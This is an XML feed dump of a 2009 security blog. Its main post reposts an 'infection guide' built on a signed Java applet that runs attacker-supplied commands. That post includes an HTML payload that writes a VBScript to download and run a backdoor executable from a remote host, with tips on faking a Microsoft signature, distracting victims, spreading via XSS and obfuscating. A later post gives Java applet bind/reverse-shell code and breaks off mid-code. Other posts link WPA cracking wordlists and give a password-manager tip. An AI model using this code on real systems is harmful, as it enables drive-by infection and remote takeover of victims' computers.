title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/31925827893963882'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/31925827893963882'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/10/sqlninja-mod.html' title='sqlninja mod'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-2631751891034194080</id><published>2009-09-16T21:14:00.002-04:00</published><updated>2009-09-16T21:28:01.695-04:00</updated><title type='text'>Infection Guide Using Java/VbScript</title><content type='html'>########################################################################&lt;br /&gt;# IGUJV - Infection Guide Using Java/VbScript&lt;br /&gt;########################################################################&lt;br /&gt;#&lt;br /&gt;# Hi. This is a minimalistic guide on "how to infect anyone".&lt;br /&gt;# This is not a 0day. It's a pwning method wich is one click away&lt;br /&gt;# from the victim. It is pretty simple and the best of all&lt;br /&gt;# it takes no time at all. (And it is undetectable too if you do it right)&lt;br /&gt;#&lt;br /&gt;########################################################################&lt;br /&gt;#&lt;br /&gt;# Author: AnalyseR&lt;br /&gt;# eMaiL: alienyser@gmail.com&lt;br /&gt;# Greetz to: DarkPaiN, Marianaki_Ki, Franko, Aragorn, __Potter__, Santa_Cruz&lt;br /&gt;#&lt;br /&gt;########################################################################&lt;br /&gt;&lt;br /&gt;After a few attempts to think a way to infect specific (or any) computer systems,&lt;br /&gt;i found that Java could be THE solution. I am not a Java Programmer/Developer or whatever&lt;br /&gt;but this piece of code is pretty easy to be read by anyone who had a little programming&lt;br /&gt;expirience. The question "how to infect someone" is the hardest one, when you are coding&lt;br /&gt;your new backdoor/trojan or whatever malware. I mean... ok, you have your new backdoor&lt;br /&gt;compiled. You've tested it and it works great. But how the hell can you spread it???&lt;br /&gt;There are several methods, but nothing is invisible from the user's eye. And that's because&lt;br /&gt;all the well known methods are... WELL KNOWN :)&lt;br /&gt;&lt;br /&gt;Ok, let me go with the subject and show you how it's done. I've developed the 80%&lt;br /&gt;of this attack (at least) and i say 80 because the backdoor server i use isn't made by me,&lt;br /&gt;and the vbscript is from a googled page. Anyway, the Java code has been written by me and&lt;br /&gt;the "idea" is also my "product". So be gentle with this :PpPPp.&lt;br /&gt;&lt;br /&gt;I won't explain the meaning of what does every single line of code here, because&lt;br /&gt;i don't want to and because you must understand by your self how it works. Any other&lt;br /&gt;explanation on the codes, will be useless if you can't read the source code by your self.&lt;br /&gt;(I speak English by my self for example :Pp noone teached me how it's done. It just happens.)&lt;br /&gt;(Little crappy but i hope you understand anywayz)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;####What you need to play with this method ######################&lt;br /&gt;1) The official Java compiler (and the rest of Java developer tools)&lt;br /&gt;2) Basic HTML/Java/VBScripting knowledge&lt;br /&gt;3) Java Runtimes&lt;br /&gt;4) Web Browser&lt;br /&gt;5) Hosting for the tests&lt;br /&gt;6) A backdoor uploaded to your host&lt;br /&gt;7) Mind&lt;br /&gt;8) Coffee&lt;br /&gt;&lt;br /&gt;#############################################################################&lt;br /&gt;&lt;br /&gt;The process&lt;br /&gt;###########################################################################&lt;br /&gt;&lt;br /&gt;1) Create a java file with the following code inside and name it whatever you want&lt;br /&gt;(i faced problems with the THIRD parameter, cut it to the second one or just use it as it is.&lt;br /&gt;Works fine for me...).&lt;br /&gt;&lt;br /&gt;########################### START COPY HERE ##############################&lt;br /&gt;&lt;br /&gt;import java.applet.*;&lt;br /&gt;import java.awt.*;&lt;br /&gt;import java.io.*;&lt;br /&gt;public class skata extends Applet {&lt;br /&gt;    public void init() {&lt;br /&gt;            Process f;&lt;br /&gt;            String first = getParameter("first");&lt;br /&gt;            try{&lt;br /&gt;                    f = Runtime.getRuntime().exec(first);&lt;br /&gt;&lt;br /&gt;            }&lt;br /&gt;catch(IOException e){&lt;br /&gt;                    e.printStackTrace();&lt;br /&gt;        }&lt;br /&gt;    Process s;&lt;br /&gt;    String second = getParameter("second");&lt;br /&gt;    try{&lt;br /&gt;        s = Runtime.getRuntime().exec(second);&lt;br /&gt;    }&lt;br /&gt;catch(IOException e){&lt;br /&gt;                    e.printStackTrace();&lt;br /&gt;        }&lt;br /&gt;    Process t;&lt;br /&gt;    String third = getParameter("third");&lt;br /&gt;    try{&lt;br /&gt;        t = Runtime.getRuntime().exec(third);&lt;br /&gt;    }&lt;br /&gt;    catch(IOException e){&lt;br /&gt;                    e.printStackTrace();&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;########################### END COPY HERE ##############################&lt;br /&gt;&lt;br /&gt;2) Compile your java applet with the java developer tools and sign it too.&lt;br /&gt;A good name could be "Microsoft Corporation" or something.&lt;br /&gt;3) Upload your signed/compiled applet to your host and your backdoor too.&lt;br /&gt;4) Open notepad and paste the following html code.&lt;br /&gt;(change the YOUR-JAVA-APPLET-NAME with your own java filename)&lt;br /&gt;&lt;br /&gt;########################### START COPY HERE ##############################&lt;br /&gt;&lt;br /&gt;&lt;applet code="'YOUR-JAVA-APPLET-NAME.class'" archive="'YOUR-JAVA-APPLET-NAME.jar'" height="'1'" width="'1'"&gt;&lt;br /&gt;&lt;param name="'first'" value="'cmd.exe"&gt;&lt;/applet&gt;&lt;br /&gt;&lt;br /&gt;########################### END COPY HERE ##############################&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5) Upload it as .htm to your host and browse it :) You will see the Java Security warning.&lt;br /&gt;Click RUN.... BooM! Calculator and cmd spawned!&lt;br /&gt;6) Have in mind that THIS warning comes out in EVERY java applet you are running. EITHER A&lt;br /&gt;JAVA GAME or a JAVA IRC CLIENT.&lt;br /&gt;7) Change the .htm code in to something like the following (Take a look, it's a vbscript&lt;br /&gt;echoed from cmd.exe - this will download our backdoor).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;########################### START COPY HERE ##############################&lt;br /&gt;&lt;br /&gt;&lt;applet code="'YOUR-JAVA-APPLET-NAME.class'" archive="'YOUR-JAVA-APPLET-NAME.jar'" height="'1'" width="'1'"&gt;&lt;br /&gt;&lt;param name="'first'" value="'cmd.exe" adtypebinary=" 1"&gt; C:\windows\apsou.vbs &amp;amp; echo Const adSaveCreateOverWrite = 2 &gt;&gt; C:\windows\apsou.vbs &amp;amp;&lt;br /&gt;echo Dim BinaryStream &gt;&gt; C:\windows\apsou.vbs &amp;amp; echo Set BinaryStream =&lt;br /&gt;CreateObject("ADODB.Stream") &gt;&gt; C:\windows\apsou.vbs &amp;amp; echo BinaryStream.Type =&lt;br /&gt;adTypeBinary &gt;&gt; C:\windows\apsou.vbs &amp;amp; echo BinaryStream.Open &gt;&gt; C:\windows\apsou.vbs &amp;amp;&lt;br /&gt;echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) &gt;&gt; C:\windows\apsou.vbs &amp;amp;&lt;br /&gt;echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite &gt;&gt;&lt;br /&gt;C:\windows\apsou.vbs &amp;amp; echo Function BinaryGetURL(URL) &gt;&gt; C:\windows\apsou.vbs &amp;amp;&lt;br /&gt;echo Dim Http &gt;&gt; C:\windows\apsou.vbs &amp;amp; echo Set Http =&lt;br /&gt;CreateObject("WinHttp.WinHttpRequest.5.1") &gt;&gt; C:\windows\apsou.vbs &amp;amp;&lt;br /&gt;echo Http.Open "GET", URL, False &gt;&gt; C:\windows\apsou.vbs &amp;amp; echo Http.Send &gt;&gt;&lt;br /&gt;C:\windows\apsou.vbs &amp;amp; echo BinaryGetURL = Http.ResponseBody &gt;&gt; C:\windows\apsou.vbs &amp;amp;&lt;br /&gt;echo End Function &gt;&gt; C:\windows\apsou.vbs &amp;amp; echo Set shell = CreateObject("WScript.Shell") &gt;&gt;&lt;br /&gt;C:\windows\apsou.vbs &amp;amp; echo shell.Run "C:\windows\update.exe" &gt;&gt; C:\windows\apsou.vbs &amp;amp;&lt;br /&gt;start C:\windows\apsou.vbs http://hello.world.com/backdoor.exe C:\windows\update.exe'&gt;&lt;br /&gt;&lt;/applet&gt;&lt;br /&gt;&lt;br /&gt;########################### END COPY HERE ##############################&lt;br /&gt;&lt;br /&gt;8) Note that i use C:\Windows. If you want to infect win2k or vista you might want to&lt;br /&gt;change it to %windir% or whatever you want.&lt;br /&gt;9) To see the vbscript code clearly, infect your self and open C:\windows\apsou.vbs ;)))&lt;br /&gt;(you don't need to do it at all).&lt;br /&gt;10) Change the backdoor URL on the above html code (http://hello.world.com/backdoor.exe) and&lt;br /&gt; the location you want to download it.&lt;br /&gt;11) Fill the page with flash games, pictures, texts. This will keep the victim's mind away ;)&lt;br /&gt;12) Save your new .htm and upload....&lt;br /&gt;13) Now browse it and wait. Wait.. wait.. BOOM! :) Backdoored.&lt;br /&gt;14) You trust an irc client? :) You can be pwned. Without to mention anything. Just by clicking&lt;br /&gt; run.&lt;br /&gt;15) If you want some roots, you can change the above script to attack linux users only.&lt;br /&gt; (Or you can make 2 different versions)&lt;br /&gt;16) Use it with XSS to infect a lot of people.&lt;br /&gt;17) Use &amp;ltscript src=""&amp;gt to include the script, don't let the people see what's inside your page. Remember to change the permissions to.18) Use multiple unescape functions for your code. This will keep away any suspicious users for a while.&lt;br /&gt;&lt;br /&gt;CONCLUSION:&lt;br /&gt;##############&lt;br /&gt;It's big mistake to think that you are safe with your new antivirus or your brand new million dollar anti-whatever system. This is not any kind of exploitation. It's just social engineering-like attack. I see 10 of these warnings every day on the net.&lt;br /&gt;Either i want to play a game and kill my time or whatever i want to do with a java applet. It's nothing strange or special than that. But hello, there is a "hole" on this. You can execute LOCAL, anything you want&lt;br /&gt;&lt;br /&gt;Tested (and working) under Windows XP SP2-SP3, Full Updated, Java Runtimes 5-something...&lt;br /&gt;Proof of concept: http://analyser.overflow.gr/basta/analyser.htm&lt;br /&gt;Enjoy milw0rmers..&lt;br /&gt;&lt;br /&gt;# milw0rm.com [2008-12-12]&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-2631751891034194080?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/2631751891034194080/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=2631751891034194080' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/2631751891034194080'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/2631751891034194080'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/09/infection-guide-using-javavbscript.html' title='Infection Guide Using Java/VbScript'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-2739294498818972908</id><published>2009-09-04T20:52:00.001-04:00</published><updated>2009-09-04T20:54:01.681-04:00</updated><title type='text'>Password lists for WPA/WPA2 cracking</title><content type='html'>&lt;div class="level2"&gt;  &lt;p&gt;&lt;span style="font-weight: bold;"&gt;Wireless cracking password lists&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt; The easiest way is do an Internet search for word lists and dictionaries. Also check out web sites for password cracking tools. Many times they have references to word lists. A few sources follow. Please add comments or additions to this thread: &lt;a bitly="BITLY_PROCESSED" href="http://forum.aircrack-ng.org/index.php?topic=1373.0" class="urlextern" title="http://forum.aircrack-ng.org/index.php?topic=1373.0" rel="nofollow"&gt;http://forum.aircrack-ng.org/index.php?topic=1373.0&lt;/a&gt;.  &lt;/p&gt; &lt;ul&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; OpenWall:&lt;/div&gt; &lt;ul&gt;&lt;li class="level2"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="ftp://ftp.openwall.com/pub/wordlists/" class="urlextern" title="ftp://ftp.openwall.com/pub/wordlists/" rel="nofollow"&gt;ftp://ftp.openwall.com/pub/wordlists/&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;li class="level2"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="http://www.openwall.com/mirrors/" class="urlextern" title="http://www.openwall.com/mirrors/" rel="nofollow"&gt;http://www.openwall.com/mirrors/&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;/ul&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="ftp://ftp.ox.ac.uk/pub/wordlists/" class="urlextern" title="ftp://ftp.ox.ac.uk/pub/wordlists/" rel="nofollow"&gt;ftp://ftp.ox.ac.uk/pub/wordlists/&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="http://gdataonline.com/downloads/GDict/" class="urlextern" title="http://gdataonline.com/downloads/GDict/" rel="nofollow"&gt;http://gdataonline.com/downloads/GDict/&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="http://www.theargon.com/achilles/wordlists/" class="urlextern" title="http://www.theargon.com/achilles/wordlists/" rel="nofollow"&gt;http://www.theargon.com/achilles/wordlists/&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="http://theargon.com/achilles/wordlists/theargonlists/" class="urlextern" title="http://theargon.com/achilles/wordlists/theargonlists/" rel="nofollow"&gt;http://theargon.com/achilles/wordlists/theargonlists/&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="ftp://ftp.cerias.purdue.edu/pub/dict/" class="urlextern" title="ftp://ftp.cerias.purdue.edu/pub/dict/" rel="nofollow"&gt;ftp://ftp.cerias.purdue.edu/pub/dict/&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="http://www.outpost9.com/files/WordLists.html" class="urlextern" title="http://www.outpost9.com/files/WordLists.html" rel="nofollow"&gt;http://www.outpost9.com/files/WordLists.html&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="http://www.securinfos.info/wordlists_dictionnaires.php" class="urlextern" title="http://www.securinfos.info/wordlists_dictionnaires.php" rel="nofollow"&gt;http://www.securinfos.info/wordlists_dictionnaires.php&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="http://www.vulnerabilityassessment.co.uk/passwords.htm" class="urlextern" title="http://www.vulnerabilityassessment.co.uk/passwords.htm" rel="nofollow"&gt;http://www.vulnerabilityassessment.co.uk/passwords.htm&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="http://packetstormsecurity.org/Crackers/wordlists/" class="urlextern" title="http://packetstormsecurity.org/Crackers/wordlists/" rel="nofollow"&gt;http://packetstormsecurity.org/Crackers/wordlists/&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="http://www.ai.uga.edu/ftplib/natural-language/moby/" class="urlextern" title="http://www.ai.uga.edu/ftplib/natural-language/moby/" rel="nofollow"&gt;http://www.ai.uga.edu/ftplib/natural-language/moby/&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="http://www.insidepro.com/eng/download.shtml" class="urlextern" title="http://www.insidepro.com/eng/download.shtml" rel="nofollow"&gt;http://www.insidepro.com/eng/download.shtml&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="http://www.word-list.com/" class="urlextern" title="http://www.word-list.com/" rel="nofollow"&gt;http://www.word-list.com/&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="http://www.cotse.com/tools/wordlists1.htm" class="urlextern" title="http://www.cotse.com/tools/wordlists1.htm" rel="nofollow"&gt;http://www.cotse.com/tools/wordlists1.htm&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="http://www.cotse.com/tools/wordlists2.htm" class="urlextern" title="http://www.cotse.com/tools/wordlists2.htm" rel="nofollow"&gt;http://www.cotse.com/tools/wordlists2.htm&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; &lt;a bitly="BITLY_PROCESSED" href="http://wordlist.sourceforge.net/" class="urlextern" title="http://wordlist.sourceforge.net/" rel="nofollow"&gt;http://wordlist.sourceforge.net/&lt;/a&gt;&lt;a name="build_your_own" id="build_your_own"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt; &lt;/li&gt;&lt;/ul&gt;  &lt;/div&gt;   &lt;div class="level3"&gt;  &lt;p&gt;  Here are a few resources to build your own lists.  There are many, many more available if you search the Internet.  &lt;/p&gt; &lt;ul&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt;&lt;a bitly="BITLY_PROCESSED" href="https://code.goto10.org/svn/unpacked/sh/etemenanki/etemenanki.sh" class="urlextern" title="https://code.goto10.org/svn/unpacked/sh/etemenanki/etemenanki.sh" rel="nofollow"&gt;Etemenanki&lt;/a&gt; is a shell script that “builds word dictionnaries based on remote and local (hyper)text repositories”.&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt;&lt;a bitly="BITLY_PROCESSED" href="http://awlg.org/index.gen" class="urlextern" title="http://awlg.org/index.gen" rel="nofollow"&gt;Associative Word List Generator&lt;/a&gt; allows you to build custom lists based on a “root” word.&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt;&lt;a bitly="BITLY_PROCESSED" href="http://forum.aircrack-ng.org/index.php?topic=4580.0" class="urlextern" title="http://forum.aircrack-ng.org/index.php?topic=4580.0" rel="nofollow"&gt;Password Generator&lt;/a&gt; is a program that generates all the variations of a string of characters based on the length of the string.&lt;/div&gt; &lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt;&lt;a bitly="BITLY_PROCESSED" href="http://forum.aircrack-ng.org/index.php?topic=4877.msg27435#msg27435" class="urlextern" title="http://forum.aircrack-ng.org/index.php?topic=4877.msg27435#msg27435" rel="nofollow"&gt;Password Generator&lt;/a&gt; is a program that goes through standard and arbitrary permutations of strings.&lt;/div&gt; &lt;/li&gt;&lt;/ul&gt;  &lt;/div&gt;  &lt;h2&gt;&lt;a name="how_do_i_recover_my_wep_wpa_key_in_windows" id="how_do_i_recover_my_wep_wpa_key_in_windows"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-2739294498818972908?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/2739294498818972908/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=2739294498818972908' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/2739294498818972908'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/2739294498818972908'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/09/password-lists-for-wpawpa2-cracking.html' title='Password lists for WPA/WPA2 cracking'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-6929856236467697891</id><published>2009-08-27T19:39:00.005-04:00</published><updated>2009-08-27T19:54:55.466-04:00</updated><title type='text'>@ffxp system reconfiguration // friday 8/28/2009</title><content type='html'>security recommendation for this week:&lt;br /&gt;&lt;br /&gt;If you use &lt;a href="http://keepass.info/"&gt;keypass on your desktop,&lt;/a&gt; (you are using a password manager right?), then you can easily store those passwords on your mobile device.&lt;br /&gt;&lt;br /&gt;Keepass for the blackberry: &lt;a href="http://sourceforge.net/projects/keepassbb/"&gt;http://sourceforge.net/projects/keepassbb/&lt;/a&gt;&lt;br /&gt;Keepass J2ME &lt;a href="http://sourceforge.net/projects/keepassj2me/"&gt;http://sourceforge.net/projects/keepassj2me/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-6929856236467697891?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/6929856236467697891/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=6929856236467697891' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/6929856236467697891'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/6929856236467697891'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/08/ffxp-secrec-friday-post-8282009.html' title='@ffxp system reconfiguration // friday 8/28/2009'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-8639446304103589233</id><published>2009-08-20T12:48:00.005-04:00</published><updated>2009-08-27T21:28:36.040-04:00</updated><title type='text'>so easy a 9 year old can do it</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.acelockandkey.net/acelockonline/images/MasterNo3.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 190px; height: 251px;" src="http://www.acelockandkey.net/acelockonline/images/MasterNo3.jpg" alt="" border="0" /&gt;&lt;/a&gt;From time to time I get questions from my son about ethical hacking, penetration testing, lock picking and the like.  It has always been important for me emphasize the "ethical" and legal components of these activities.&lt;br /&gt;&lt;br /&gt;For example, one day the swimming pool was unexpectedly closed and locked with a padlock.  He has seen me pick these types of locks for the better part of his life.  However he respects the rules posted and knows the picking the lock to get in would likely be against the law.  More importantly  he knows that the lock provides little to no security against criminals or vandals.&lt;br /&gt;&lt;br /&gt;I've recently began showing him how to spot simple web application vulnerabilities using test applications on a private network.   He was able to perform his first authentication bypass using a forgot password function in the application.   I'm proud of him but know I have a to continue re-enforcing his positive sense of ethics and concern for others.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-8639446304103589233?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/8639446304103589233/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=8639446304103589233' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/8639446304103589233'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/8639446304103589233'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/08/so-easy-9-year-old-can-do-it.html' title='so easy a 9 year old can do it'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-2571110756344528584</id><published>2009-07-24T16:26:00.005-04:00</published><updated>2009-07-24T16:30:40.115-04:00</updated><title type='text'>java applet bindshell / reverseshell</title><content type='html'>mostly not my code, inspiration from valsmith, hdm, etc...&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;applet archive=&amp;quot;SecurityApplet.jar&amp;quot; code=&amp;quot;SecurityApplet.class&amp;quot; width=&amp;quot;1 height=&amp;quot;&amp;gt;&lt;br /&gt; &amp;lt;param name=&amp;quot;rhost&amp;quot; value=&amp;quot;10.1.1.1&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;param name=&amp;quot;rport&amp;quot; value=&amp;quot;4444&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;/applet&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;import java.io.*;&lt;br /&gt;import java.net.*;&lt;br /&gt;import java.applet.Applet;&lt;br /&gt;import java.io.ByteArrayInputStream;&lt;br /&gt;import java.io.ObjectInputStream;&lt;br /&gt;&lt;br /&gt;public class SecurityApplet extends Applet&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;    public static String data = null;&lt;br /&gt;   &lt;br /&gt;    public void init()&lt;br /&gt;    {&lt;br /&gt;        try&lt;br /&gt;        {   &lt;br /&gt;&lt;br /&gt;        String rport = getParameter("RPORT");&lt;br /&gt;        String rhost = getParameter("RHOST");&lt;br /&gt;       &lt;br /&gt;        Socket clientSocket = null;&lt;br /&gt;        ServerSocket serverSocket = null;&lt;br /&gt;        String os = System.getProperty( "os.name" );&lt;br /&gt;          String shell = "/bin/sh";&lt;br /&gt;        if( os.indexOf( "Windows" ) &gt;= 0 )&lt;br /&gt;            shell = "cmd.exe";       &lt;br /&gt;       &lt;br /&gt;       &lt;br /&gt;       &lt;br /&gt;        try {&lt;br /&gt;&lt;br /&gt;            if (rhost == null &amp;amp;&amp;amp; rport != null) {&lt;br /&gt;                serverSocket = new ServerSocket(Integer.parseInt(rport));&lt;br /&gt;                clientSocket = serverSocket.accept();&lt;br /&gt;            }&lt;br /&gt;            if ( rhost != null &amp;amp;&amp;amp; rport != null ) {&lt;br /&gt;                clientSocket = new Socket(rhost,Integer.parseInt(rport));&lt;br /&gt;            } else {&lt;br /&gt;                rport = "4444";&lt;br /&gt;                serverSocket = new ServerSocket(Integer.parseInt(rport));&lt;br /&gt;                clientSocket = serverSocket.accept();   &lt;br /&gt;            }&lt;br /&gt;           &lt;br /&gt;           &lt;br /&gt;            if (clientSocket != null) {&lt;br /&gt;           &lt;br /&gt;            Process proc = Runtime.getRuntime().exec( shell );&lt;br /&gt;           &lt;br /&gt;            PrintWriter out = new PrintWriter(clientSocket.getOutputStream(), true);&lt;br /&gt;            shellthread output = new shellthread(proc.getInputStream(), clientSocket.getOutputStream());&lt;br /&gt;            shellthread input = new shellthread(clientSocket.getInputStream(), proc.getOutputStream());&lt;br /&gt;&lt;br /&gt;                output.start();&lt;br /&gt;                input.start();           &lt;br /&gt;           }&lt;br /&gt;        //    serverSocket.close();&lt;br /&gt;        //    clientSocket.close();&lt;br /&gt;        }&lt;br /&gt;        catch(NumberFormatException nfe)&lt;br /&gt;        {&lt;br /&gt;            System.out.println("nfe: " + nfe);&lt;br /&gt;        }&lt;br /&gt;        catch(IOException ioe)&lt;br /&gt;        {&lt;br /&gt;            System.out.println("ioe2: " + ioe);&lt;br /&gt;        }&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;           &lt;br /&gt;        }&lt;br /&gt;        catch( Exception e ) {}&lt;br /&gt;    }&lt;br /&gt;//////////////////////////////////////////&lt;br /&gt;private class shellthread extends Thread&lt;br /&gt;{&lt;br /&gt;    InputStream inps;&lt;br /&gt;    OutputStream outs;&lt;br /&gt;    shellthread(InputStream inps, OutputStream outs)&lt;br /&gt;    {&lt;br /&gt;        this.inps = 